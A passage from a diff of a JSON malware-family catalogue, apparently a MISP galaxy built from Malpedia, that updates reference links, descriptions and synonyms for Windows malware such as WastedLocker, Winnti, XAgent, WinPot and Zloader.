"https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", + "https://unit42.paloaltonetworks.com/wastedlocker/", + "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", - "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.bbc.com/news/world-us-canada-53195749", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", - 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"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", + "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" ], "synonyms": [], "type": [] @@ -47447,12 +50122,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterbear", "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://www.youtube.com/watch?v=6SDdUVejR2w", "https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", "https://daydaynews.cc/zh-tw/technology/297265.html", - "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html" + "https://www.youtube.com/watch?v=6SDdUVejR2w", + "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf" ], "synonyms": [ "DbgPrint", @@ -47499,15 +50174,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2d8043b4-48ef-4992-a04a-c342cbbb4f87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e57c677f-0117-4e23-8c3f-a772ed809f4c", "value": "WebC2-AdSpace" }, @@ -47521,15 +50187,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e2a27431-28ea-42e3-a0cc-72f29828c292", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": 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"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord", + "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/" ], "synonyms": [ @@ -47812,35 +50370,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess", - "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", "https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf", - "https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html", - 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"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://github.com/TKCERT/winnti-detector", - "https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/", "http://2015.ruxcon.org.au/assets/2015/slides/Ruxcon%202015%20-%20McCormack.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - 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"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", - "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://github.com/TKCERT/winnti-nmap-script", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", - "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", - "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://github.com/TKCERT/winnti-suricata-lua", "https://attack.mitre.org/groups/G0096", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://github.com/TKCERT/winnti-nmap-script", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/", + "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf", + "https://docplayer.net/162112338-Don-t-miss-the-forest-for-the-trees-gleaning-hunting-value-from-too-much-intrusion-data.html", + "https://github.com/superkhung/winnti-sniff", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Tracking-the-entire-iceberg.pdf", + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://content.fireeye.com/api/pdfproxy?id=86840", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/", + "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", + "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/", + "https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://www.lastline.com/labsblog/helo-winnti-attack-scan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", "https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html", + "https://content.fireeye.com/apt-41/rpt-apt41/", + "https://github.com/br-data/2019-winnti-analyse/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", + "https://github.com/TKCERT/winnti-detector", "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", "https://www.youtube.com/watch?v=_fstHQSK-kk", - "https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html" + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", + "https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/", + "http://web.br.de/interaktiv/winnti/english/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://securelist.com/games-are-over/70991/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Tracking-the-entire-iceberg-long-term-APT-malware-C2-protocol-emulation-and-scanning.pdf", + "https://github.com/TKCERT/winnti-suricata-lua", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/" ], "synonyms": [ "BleDoor", @@ -48095,13 +50667,26 @@ "uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", "value": "Winnti (Windows)" }, + { + "description": "According to ESET Research, this is a payload downloaded by win.wslink. They attribute it with low confidence to Lazarus.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64", + "https://www.welivesecurity.com/2023/02/23/winordll64-backdoor-vast-lazarus-arsenal/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "64f7f940-db4c-4569-869b-d282dadf55ac", + "value": "WinorDLL64" + }, { "description": "WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot", - "https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/", "https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/", + "https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/", "https://securelist.com/atm-robber-winpot/89611/" ], "synonyms": [ @@ -48143,11 +50728,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot", - "https://docs.broadcom.com/doc/waterbug-attack-group", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" + "https://docs.broadcom.com/doc/waterbug-attack-group" ], "synonyms": [ "Epic", @@ -48155,15 +50740,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6b6cf608-cc2c-40d7-8500-afca3e35e7e4", "value": "Wipbot" }, @@ -48241,9 +50817,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger", - "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", - "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf" + "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" ], "synonyms": [ "WoolenLogger" @@ -48258,6 +50834,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind", + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" ], "synonyms": [], @@ -48271,8 +50848,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "synonyms": [], "type": [] @@ -48328,8 +50905,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink", "https://twitter.com/darienhuss/status/1453342652682981378", - "https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/", - "https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf", + "https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/" ], "synonyms": [ "FinickyFrogfish" @@ -48344,7 +50921,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.x4", - "https://www.gradiant.org/noticia/analysis-malware-cve-2017/" + "https://www.gradiant.org/noticia/analysis-malware-cve-2017/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -48357,21 +50935,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf", "https://assets.documentcloud.org/documents/3461560/Google-Aquarium-Clean.pdf", - "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", - "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf", + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", + "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "chopstick", @@ -48441,9 +51019,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy", "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/", - "https://github.com/eset/malware-ioc/tree/master/xdspy/", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf" + "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf", + "https://github.com/eset/malware-ioc/tree/master/xdspy/" ], "synonyms": [], "type": [] @@ -48451,6 +51029,21 @@ "uuid": "2cf836f5-b88a-417d-b3c6-ab2580fea6ad", "value": "XDSpy" }, + { + "description": "XenArmor is a suite of password recovery tools for various applications that have been observed to be abused in attacks alongside malware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor", + "https://xenarmor.com/" + ], + "synonyms": [ + "XenArmor Suite" + ], + "type": [] + }, + "uuid": "79fd77ba-4b40-4354-820a-16662edba41d", + "value": "XenArmor" + }, { "description": "", "meta": { @@ -48469,6 +51062,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer", + "https://cyberint.com/blog/research/xfiles-stealer-campaign-abusing-follina/", "https://twitter.com/3xp0rtblog/status/1473323635469438978" ], "synonyms": [], @@ -48482,8 +51076,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm", - "https://twitter.com/VK_Intel/status/1149454961740255232", - "https://twitter.com/r3c0nst/status/1149043362244308992" + "https://twitter.com/r3c0nst/status/1149043362244308992", + "https://twitter.com/VK_Intel/status/1149454961740255232" ], "synonyms": [], "type": [] @@ -48520,6 +51114,32 @@ "uuid": "e839ae61-616c-4234-8edb-36b48040e5af", "value": "XiaoBa" }, + { + "description": "According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called \"bundling\".\r\n\r\nIn most cases, \"bundling\" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig", + "https://gridinsoft.com/xmrig" + ], + "synonyms": [], + "type": [] + }, + "uuid": "88efd461-03dd-42eb-976c-5e9fe403fce6", + "value": "xmrig" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist", + "https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "029369aa-9e88-4e98-8fda-ca29a873acc5", + "value": "Xorist" + }, { "description": "Ransomware.", "meta": { @@ -48540,9 +51160,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack", - "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html", "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html" ], "synonyms": [ "NERAPACK" @@ -48557,8 +51177,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan", - "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/", - "https://securelist.com/blog/research/78110/xpan-i-am-your-father/" + "https://securelist.com/blog/research/78110/xpan-i-am-your-father/", + "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/" ], "synonyms": [], "type": [] @@ -48571,9 +51191,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra", + "https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis", "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", - "https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/", - "https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis" + "https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/" ], "synonyms": [ "Expectra" @@ -48588,8 +51208,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat", - "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration", "https://labs.k7computing.com/?p=15672", + "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html" ], "synonyms": [], @@ -48632,9 +51252,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - 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"https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", - "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", - "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", - "https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/", - "https://noticeofpleadings.com/zloader/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", - "https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", - "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", + "https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit", "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://johannesbader.ch/blog/the-dga-of-zloader/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks", + "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", + "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://noticeofpleadings.com/zloader/", + "https://labs.k7computing.com/?p=22458", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blogs.quickheal.com/zloader-entailing-different-office-files/", + "https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", + "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", + "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/", + "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", + "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", + "https://blog.alyac.co.kr/3322", + "https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + 